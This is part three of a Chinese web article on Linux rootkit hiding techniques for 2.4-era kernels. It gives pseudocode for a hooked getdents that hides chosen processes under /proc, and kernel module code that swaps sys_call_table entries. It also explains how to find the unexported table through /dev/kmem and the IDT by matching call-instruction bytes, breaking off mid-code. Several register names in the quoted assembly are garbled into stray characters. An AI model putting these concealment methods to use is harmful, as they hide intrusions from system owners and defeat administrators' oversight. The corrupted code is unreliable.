Linux系统环境下的高级隐藏技术介绍( 三 )



1)得到该文件对应的inode结构dinode;
2)if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i _dev) == 1) {该文件属于proc文件系统}

通过上面的分析,给出隐藏特定进程的伪代码表示:

hacket_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{

调用原来的系统调用;

得到fd所对应的节点;

if(该文件属于proc文件系统&&该文件名需要隐藏)
{从dirp中去掉该文件相关信息}
}
【Linux系统环境下的高级隐藏技术介绍】 2.4 修改系统调用的方法

现在已经解决了如何修改系统调用来达到隐藏的目的,那么如何用修改后的系统调用来替换原来的呢?这个问题在实际应用中往往是最关键的,下面将讨论在不同的情况下如何做到这一点 。

(1)当系统导出sys_call_table,并且支持动态的插入模块的情况下:

在Linux内核2.4.18版以前,这种内核配置是非常普遍的 。这种情况下修改系统调用非常容易,只需要修改相应的sys_call_table表项,使其指向新的系统调用即可 。下面是相应的代码:

int orig_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
int init_module(void)
/*初始化模块*/
{
orig_getdents=sys_call_table[SYS_getdents];//保存原来的系统调用
orig_query_module=sys_call_table[SYS_query_module]
sys_call_table[SYS_getdents]=hacked_getdents;//设置新的系统调用
sys_call_table[SYS_query_module]=hacked_query_module;
return 0; //返回0表示成功
}
void cleanup_module(void)
/*卸载模块*/
{
sys_call_table[SYS_getdents]=orig_getdents;//恢复原来的系统调用
sys_call_table[SYS_query_module]=orig_query_module;
}

(2)在系统并不导出sys_call_table的情况下:

linux内核在2.4.18以后为了安全起见不再导出sys_call_table符号,从而无法直接获得系统调用表的地址,那么就必须找到其他的办法来得到这个地址 。在背景知识中提到了/dev/kmem是系统主存的映像,可以通过查询该文件来找到sys_call_table的地址,并对其进行修改,来使用新的系统调用 。那么如何在系统映像中找到sys_call_table的地址呢?让我们先看看system_call的源代码是如何来实现系统调用的(代码见/arch/i386/kernel/entry.S):

ENTRY(system_call)
pushl 陎# save orig_eax
SAVE_ALL
GET_CURRENT(離)
cmpl $(NR_syscalls),陎
jae badsys
testb $0x02,tsk_ptrace(離)# PT_TRACESYS
jne tracesys
call *SYMBOL_NAME(sys_call_table)(,陎,4)
movl 陎,EAX(%esp)# save the return value
ENTRY(ret_from_sys_call)
这段源代码首先保存相应的寄存器的值,然后判断系统调用号(在eax寄存器中)是否合法,继而对设置调试的情况进行处理,在所有这些进行完后,利用call *SYMBOL_NAME(sys_call_table)(,陎,4) 来转入相应的系统调用进行处理,其中的SYMBOL_NAME(sys_call_table)得出的就是sys_call_table的地址 。从上面的分析可以看出,当找到system_call函数之后,利用字符匹配来寻找相应call语句就可以确定sys_call_table的位置,因为call something(,陎,4)的机器指令码是0xff 0x14 0x85 。所以匹配这个指令码就行了 。至于如何确定system_call的地址在背景知识中已经介绍了,下面给出相应的伪代码:

struct{ //各字段含义可以参考背景知识中关于IDTR寄存器的介绍
unsigned short limit;
unsigned int base;
}__attribute__((packed))idtr;
struct{ //各字段含义可以参考背景知识中关于中断描述符的介绍
unsigned short off1;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
}__attribute__((packed))idt;
int kmem;
/ *下面函数用于从kemem对应的文件中偏移量为off处读取sz个字节至内存m处*/

推荐阅读